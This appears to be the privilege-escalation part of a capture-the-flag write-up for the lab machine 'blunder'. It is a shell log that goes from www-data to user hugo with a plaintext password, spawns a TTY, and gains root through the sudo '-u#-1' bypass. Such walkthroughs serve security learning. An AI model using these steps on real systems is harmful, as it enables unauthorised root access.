5 www-data > hugo > root

whoami;id
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
su hugo
Password120
python -c 'import pty;pty.spawn("/bin/bash")'
whoami;id
hugo
uid=1001(hugo) gid=1001(hugo) groups=1001(hugo)

hugo@blunder:/var/www/bludit-3.9.2/bl-content/tmp/temp$ sudo -l
Matching Defaults entries for hugo on blunder:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User hugo may run the following commands on blunder:
		(ALL, !root) /bin/bash

hugo@blunder:/var/www/bludit-3.9.2/bl-content/tmp/temp$ sudo -u#-1 /bin/bash
whoami;id
root
uid=0(root) gid=1001(hugo) groups=1001(hugo)